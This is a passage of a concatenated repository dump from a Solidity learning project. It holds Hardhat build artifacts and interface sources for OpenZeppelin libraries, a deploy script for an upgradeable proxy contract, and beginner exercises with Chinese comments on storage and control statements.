"0x73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220738b6070945f1ece5734efcb889e50d9dea9289fe0f13ffa93f40734b26f66d264736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/Strings.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "Strings", 4 | "sourceName": "contracts/utils/Strings.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea264697066735822122086f7fc118c126c190b400fa240f286a3f57583f405ab12809d4fde37ae7fbec864736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea264697066735822122086f7fc118c126c190b400fa240f286a3f57583f405ab12809d4fde37ae7fbec864736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/BitMaps.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "BitMaps", 4 | "sourceName": "contracts/utils/structs/BitMaps.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea264697066735822122027cddef1aeea64adb4ef5304ce5ad72bd44bc8ff7b910e9facf9f6e0f8655a5e64736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea264697066735822122027cddef1aeea64adb4ef5304ce5ad72bd44bc8ff7b910e9facf9f6e0f8655a5e64736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/ECDSA.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "ECDSA", 4 | "sourceName": "contracts/utils/cryptography/ECDSA.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212200faca464d25f9e160faea7be8b3164565d164f8a93696ba98c3ad5140317375864736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212200faca464d25f9e160faea7be8b3164565d164f8a93696ba98c3ad5140317375864736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/LibAMB.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "LibAMB", 4 | "sourceName": "contracts/crosschain/amb/LibAMB.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212207dd1a1ef61aaf8bd8db7d0c62d5b554f3164c2691ef5fae890e163f173f4917864736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212207dd1a1ef61aaf8bd8db7d0c62d5b554f3164c2691ef5fae890e163f173f4917864736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/SafeCast.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "SafeCast", 4 | "sourceName": "contracts/utils/math/SafeCast.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212209b70f13b9037ee79c19308444b56b249ba516d35f57eaf86c037b39c5bf00f0464736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212209b70f13b9037ee79c19308444b56b249ba516d35f57eaf86c037b39c5bf00f0464736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/SafeMath.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "SafeMath", 4 | "sourceName": "contracts/utils/math/SafeMath.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220ff6c3d6280687bc18a764b1fef21af1fa1abb1548fea7f98d1c222ceeb55166964736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220ff6c3d6280687bc18a764b1fef21af1fa1abb1548fea7f98d1c222ceeb55166964736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/Checkpoints.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "Checkpoints", 4 | "sourceName": "contracts/utils/Checkpoints.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220ed44ff3aec169d2db902af9ab9f818a97a8951bf7514f03136b918d1257daafc64736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220ed44ff3aec169d2db902af9ab9f818a97a8951bf7514f03136b918d1257daafc64736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/SignedMath.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "SignedMath", 4 | "sourceName": "contracts/utils/math/SignedMath.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212205cc84bcb96ea603ae82ad7a10d9c3b8fd7d26a5cb5168847aaac64c60399549964736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212205cc84bcb96ea603ae82ad7a10d9c3b8fd7d26a5cb5168847aaac64c60399549964736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/StorageSlot.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "StorageSlot", 4 | "sourceName": "contracts/utils/StorageSlot.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea264697066735822122028a73a248e98f4ce8a7f2be3296a1cf331c5a23810f80161d26369f42c4ea18d64736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea264697066735822122028a73a248e98f4ce8a7f2be3296a1cf331c5a23810f80161d26369f42c4ea18d64736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/SafeERC20.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "SafeERC20", 4 | "sourceName": "contracts/token/ERC20/utils/SafeERC20.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212201e026a386e141d0c95dabf0888720ab8552f83324b14dfdcea6cfd68f32e3c2c64736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212201e026a386e141d0c95dabf0888720ab8552f83324b14dfdcea6cfd68f32e3c2c64736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC1271.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC1271.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC1271 standard signature validation method for 8 | * contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271]. 9 | * 10 | * _Available since v4.1._ 11 | */ 12 | interface IERC1271 { 13 | /** 14 | * @dev Should return whether the signature provided is valid for the provided data 15 | * @param hash Hash of the data to be signed 16 | * @param signature Signature byte array associated with _data 17 | */ 18 | function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue); 19 | } 20 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/EnumerableMap.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "EnumerableMap", 4 | "sourceName": "contracts/utils/structs/EnumerableMap.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220b5be73aa61cec9816d400f006778709587e118b25d6da307990b2a333b1b29b564736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220b5be73aa61cec9816d400f006778709587e118b25d6da307990b2a333b1b29b564736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/EnumerableSet.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "EnumerableSet", 4 | "sourceName": "contracts/utils/structs/EnumerableSet.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212209eaeccd711a59aac68a5563391c6bcd1ef2c95befed630686087bc00b18c2e1964736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212209eaeccd711a59aac68a5563391c6bcd1ef2c95befed630686087bc00b18c2e1964736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/LibOptimism.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "LibOptimism", 4 | "sourceName": "contracts/crosschain/optimism/LibOptimism.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220c5b2d62a3c383bf8d42904eb02ccaf1b5d61128badbcc36e2d6bb8cd430c239264736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220c5b2d62a3c383bf8d42904eb02ccaf1b5d61128badbcc36e2d6bb8cd430c239264736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/MerkleProof.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "MerkleProof", 4 | "sourceName": "contracts/utils/cryptography/MerkleProof.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220a2f237078f06610a792e5812f0cc1c70d18aa1a897c20c3e1d502b7a995a18df64736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220a2f237078f06610a792e5812f0cc1c70d18aa1a897c20c3e1d502b7a995a18df64736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/SignedSafeMath.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "SignedSafeMath", 4 | "sourceName": "contracts/utils/math/SignedSafeMath.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220eb083871ab45137463fe50ab403fd89f48c46327b5ac689f37963752e92d060064736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220eb083871ab45137463fe50ab403fd89f48c46327b5ac689f37963752e92d060064736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /learn_smartcontract/other/upgrade_contract/scripts/deploy_upgradeable_adminbox.js: -------------------------------------------------------------------------------- 1 | // scripts/deploy_upgradeable_adminbox.js 2 | const {ethers, upgrades} = require("hardhat"); 3 | 4 | async function main() { 5 | // 得到部署账号 6 | const [owner] = await ethers.getSigners(); 7 | 8 | const AdminBox = await ethers.getContractFactory("AdminBox"); 9 | console.log("Deploying AdminBox..."); 10 | 11 | // 将部署账号作为初始化参数传入(因为函数名是initialize,所以opts参数可以省略) 12 | const adminBox = await upgrades.deployProxy(AdminBox, [owner.address], {initializer: 'initialize'}); 13 | await adminBox.deployed(); 14 | console.log("AdminBox deployed to:", adminBox.address); 15 | 16 | // 测试函数调用 17 | tx = await adminBox.store(1); 18 | await tx.wait(); 19 | console.log("adminBox.store(1) is OK!") 20 | } 21 | 22 | main(); -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/ERC165Checker.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "ERC165Checker", 4 | "sourceName": "contracts/utils/introspection/ERC165Checker.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220cf263c608ac6e012cabbad56da9ccbe9749086e5f38cf039176abcda5509657664736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220cf263c608ac6e012cabbad56da9ccbe9749086e5f38cf039176abcda5509657664736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/LibArbitrumL1.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "LibArbitrumL1", 4 | "sourceName": "contracts/crosschain/arbitrum/LibArbitrumL1.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212203f4242d01e34bdda0d98845e493258e789ec3408db71f0ec0faea2607bbd390e64736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212203f4242d01e34bdda0d98845e493258e789ec3408db71f0ec0faea2607bbd390e64736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/ERC165.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "ERC165", 4 | "sourceName": "contracts/utils/introspection/ERC165.sol", 5 | "abi": [ 6 | { 7 | "inputs": [ 8 | { 9 | "internalType": "bytes4", 10 | "name": "interfaceId", 11 | "type": "bytes4" 12 | } 13 | ], 14 | "name": "supportsInterface", 15 | "outputs": [ 16 | { 17 | "internalType": "bool", 18 | "name": "", 19 | "type": "bool" 20 | } 21 | ], 22 | "stateMutability": "view", 23 | "type": "function" 24 | } 25 | ], 26 | "bytecode": "0x", 27 | "deployedBytecode": "0x", 28 | "linkReferences": {}, 29 | "deployedLinkReferences": {} 30 | } 31 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/Multicall.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "Multicall", 4 | "sourceName": "contracts/utils/Multicall.sol", 5 | "abi": [ 6 | { 7 | "inputs": [ 8 | { 9 | "internalType": "bytes[]", 10 | "name": "data", 11 | "type": "bytes[]" 12 | } 13 | ], 14 | "name": "multicall", 15 | "outputs": [ 16 | { 17 | "internalType": "bytes[]", 18 | "name": "results", 19 | "type": "bytes[]" 20 | } 21 | ], 22 | "stateMutability": "nonpayable", 23 | "type": "function" 24 | } 25 | ], 26 | "bytecode": "0x", 27 | "deployedBytecode": "0x", 28 | "linkReferences": {}, 29 | "deployedLinkReferences": {} 30 | } 31 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/IERC165.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "IERC165", 4 | "sourceName": "contracts/utils/introspection/IERC165.sol", 5 | "abi": [ 6 | { 7 | "inputs": [ 8 | { 9 | "internalType": "bytes4", 10 | "name": "interfaceId", 11 | "type": "bytes4" 12 | } 13 | ], 14 | "name": "supportsInterface", 15 | "outputs": [ 16 | { 17 | "internalType": "bool", 18 | "name": "", 19 | "type": "bool" 20 | } 21 | ], 22 | "stateMutability": "view", 23 | "type": "function" 24 | } 25 | ], 26 | "bytecode": "0x", 27 | "deployedBytecode": "0x", 28 | "linkReferences": {}, 29 | "deployedLinkReferences": {} 30 | } 31 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/SignatureChecker.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "SignatureChecker", 4 | "sourceName": "contracts/utils/cryptography/SignatureChecker.sol", 5 | "abi": [], 6 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea264697066735822122001b67f9b5a2c0360c410509fca9f6d6ee6d920da845cd05d43a56df7c5be196c64736f6c634300080d0033", 7 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea264697066735822122001b67f9b5a2c0360c410509fca9f6d6ee6d920da845cd05d43a56df7c5be196c64736f6c634300080d0033", 8 | "linkReferences": {}, 9 | "deployedLinkReferences": {} 10 | } 11 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/ERC2771Context.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "ERC2771Context", 4 | "sourceName": "contracts/metatx/ERC2771Context.sol", 5 | "abi": [ 6 | { 7 | "inputs": [ 8 | { 9 | "internalType": "address", 10 | "name": "forwarder", 11 | "type": "address" 12 | } 13 | ], 14 | "name": "isTrustedForwarder", 15 | "outputs": [ 16 | { 17 | "internalType": "bool", 18 | "name": "", 19 | "type": "bool" 20 | } 21 | ], 22 | "stateMutability": "view", 23 | "type": "function" 24 | } 25 | ], 26 | "bytecode": "0x", 27 | "deployedBytecode": "0x", 28 | "linkReferences": {}, 29 | "deployedLinkReferences": {} 30 | } 31 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/ERC165Storage.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "ERC165Storage", 4 | "sourceName": "contracts/utils/introspection/ERC165Storage.sol", 5 | "abi": [ 6 | { 7 | "inputs": [ 8 | { 9 | "internalType": "bytes4", 10 | "name": "interfaceId", 11 | "type": "bytes4" 12 | } 13 | ], 14 | "name": "supportsInterface", 15 | "outputs": [ 16 | { 17 | "internalType": "bool", 18 | "name": "", 19 | "type": "bool" 20 | } 21 | ], 22 | "stateMutability": "view", 23 | "type": "function" 24 | } 25 | ], 26 | "bytecode": "0x", 27 | "deployedBytecode": "0x", 28 | "linkReferences": {}, 29 | "deployedLinkReferences": {} 30 | } 31 | -------------------------------------------------------------------------------- /test_solidity/1_simple_readwrite.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity >=0.7.0 <0.9.0; 4 | 5 | // - 实现一个简单的读(retrieve)和写(store)的名字叫做Storage的合约 6 | // 1. 合约部署后,可以在通过某些方式调用/查询合约中通过 public 关键字暴露给外部调用的 函数 或 变量,如果函数有参数,则需要传入参数 7 | 8 | /** 9 | * @title Storage 10 | * @dev Store & retrieve value in a variable 11 | * @custom:dev-run-script ./scripts/deploy_with_ethers.ts 12 | */ 13 | contract Storage { 14 | 15 | uint256 public number; 16 | 17 | /** 18 | * @dev Store value in variable 19 | * @param num value to store 20 | */ 21 | function store(uint256 num) public { 22 | number = num; 23 | } 24 | 25 | /** 26 | * @dev Return value 27 | * @return value of 'number' 28 | */ 29 | function retrieve() public view returns (uint256){ 30 | return number; 31 | } 32 | } -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../IERC1155.sol"; 7 | 8 | /** 9 | * @dev Interface of the optional ERC1155MetadataExtension interface, as defined 10 | * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. 11 | * 12 | * _Available since v3.1._ 13 | */ 14 | interface IERC1155MetadataURI is IERC1155 { 15 | /** 16 | * @dev Returns the URI for token type `id`. 17 | * 18 | * If the `\{id\}` substring is present in the URI, it must be replaced by 19 | * clients with the actual token type ID. 20 | */ 21 | function uri(uint256 id) external view returns (string memory); 22 | } 23 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/governance/extensions/GovernorProposalThreshold.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorProposalThreshold.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../Governor.sol"; 7 | 8 | /** 9 | * @dev Extension of {Governor} for proposal restriction to token holders with a minimum balance. 10 | * 11 | * _Available since v4.3._ 12 | * _Deprecated since v4.4._ 13 | */ 14 | abstract contract GovernorProposalThreshold is Governor { 15 | function propose( 16 | address[] memory targets, 17 | uint256[] memory values, 18 | bytes[] memory calldatas, 19 | string memory description 20 | ) public virtual override returns (uint256) { 21 | return super.propose(targets, values, calldatas, description); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/utils/Multicall.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.5.0) (utils/Multicall.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "./Address.sol"; 7 | 8 | /** 9 | * @dev Provides a function to batch together multiple calls in a single external call. 10 | * 11 | * _Available since v4.1._ 12 | */ 13 | abstract contract Multicall { 14 | /** 15 | * @dev Receives and executes a batch of function calls on this contract. 16 | */ 17 | function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) { 18 | results = new bytes[](data.length); 19 | for (uint256 i = 0; i < data.length; i++) { 20 | results[i] = Address.functionDelegateCall(address(this), data[i]); 21 | } 22 | return results; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../IERC20.sol"; 7 | 8 | /** 9 | * @dev Interface for the optional metadata functions from the ERC20 standard. 10 | * 11 | * _Available since v4.1._ 12 | */ 13 | interface IERC20Metadata is IERC20 { 14 | /** 15 | * @dev Returns the name of the token. 16 | */ 17 | function name() external view returns (string memory); 18 | 19 | /** 20 | * @dev Returns the symbol of the token. 21 | */ 22 | function symbol() external view returns (string memory); 23 | 24 | /** 25 | * @dev Returns the decimals places of the token. 26 | */ 27 | function decimals() external view returns (uint8); 28 | } 29 | -------------------------------------------------------------------------------- /test_solidity/basic_exercises/lesson9_controllStatement.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | /* 5 | @控制结构 6 | - 介绍 7 | 除了是switch和goto,solidity支持JS中的大多数控制语句,例如,if-else, while,do,for,break,continue,return; 8 | 还有try-catch进行异常处理。 9 | 10 | */ 11 | 12 | contract LearnControlStatement { 13 | function testIf() public pure { 14 | // if-else省略 15 | 16 | // 单条if 17 | uint a; 18 | if (1==1) a = 1; // if包含的语句是单条,则可以省略{} 19 | return; 20 | } 21 | 22 | function testWhile() public pure { 23 | uint i=0; 24 | while (true) { 25 | if (i<3) { 26 | i ++; 27 | continue; 28 | } 29 | break; 30 | } 31 | 32 | while (i < 3) {} 33 | } 34 | 35 | function testFor() public pure{ 36 | for (uint i=0; i<3; i++) { 37 | 38 | } 39 | } 40 | } -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/utils/introspection/IERC1820Implementer.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC1820Implementer.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface for an ERC1820 implementer, as defined in the 8 | * https://eips.ethereum.org/EIPS/eip-1820#interface-implementation-erc1820implementerinterface[EIP]. 9 | * Used by contracts that will be registered as implementers in the 10 | * {IERC1820Registry}. 11 | */ 12 | interface IERC1820Implementer { 13 | /** 14 | * @dev Returns a special value (`ERC1820_ACCEPT_MAGIC`) if this contract 15 | * implements `interfaceHash` for `account`. 16 | * 17 | * See {IERC1820Registry-setInterfaceImplementer}. 18 | */ 19 | function canImplementInterfaceForAddress(bytes32 interfaceHash, address account) external view returns (bytes32); 20 | } 21 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/vendor/arbitrum/IDelayedMessageProvider.sol: -------------------------------------------------------------------------------- 1 | // Copyright 2021-2022, Offchain Labs, Inc. 2 | // For license information, see https://github.com/nitro/blob/master/LICENSE 3 | // SPDX-License-Identifier: BUSL-1.1 4 | // OpenZeppelin Contracts (last updated v4.8.0) (vendor/arbitrum/IDelayedMessageProvider.sol) 5 | 6 | // solhint-disable-next-line compiler-version 7 | pragma solidity >=0.6.9 <0.9.0; 8 | 9 | interface IDelayedMessageProvider { 10 | /// @dev event emitted when a inbox message is added to the Bridge's delayed accumulator 11 | event InboxMessageDelivered(uint256 indexed messageNum, bytes data); 12 | 13 | /// @dev event emitted when a inbox message is added to the Bridge's delayed accumulator 14 | /// same as InboxMessageDelivered but the batch data is available in tx.input 15 | event InboxMessageDeliveredFromOrigin(uint256 indexed messageNum); 16 | } 17 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/governance/extensions/IGovernorTimelock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (governance/extensions/IGovernorTimelock.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../IGovernor.sol"; 7 | 8 | /** 9 | * @dev Extension of the {IGovernor} for timelock supporting modules. 10 | * 11 | * _Available since v4.3._ 12 | */ 13 | abstract contract IGovernorTimelock is IGovernor { 14 | event ProposalQueued(uint256 proposalId, uint256 eta); 15 | 16 | function timelock() public view virtual returns (address); 17 | 18 | function proposalEta(uint256 proposalId) public view virtual returns (uint256); 19 | 20 | function queue( 21 | address[] memory targets, 22 | uint256[] memory values, 23 | bytes[] memory calldatas, 24 | bytes32 descriptionHash 25 | ) public virtual returns (uint256 proposalId); 26 | } 27 | -------------------------------------------------------------------------------- 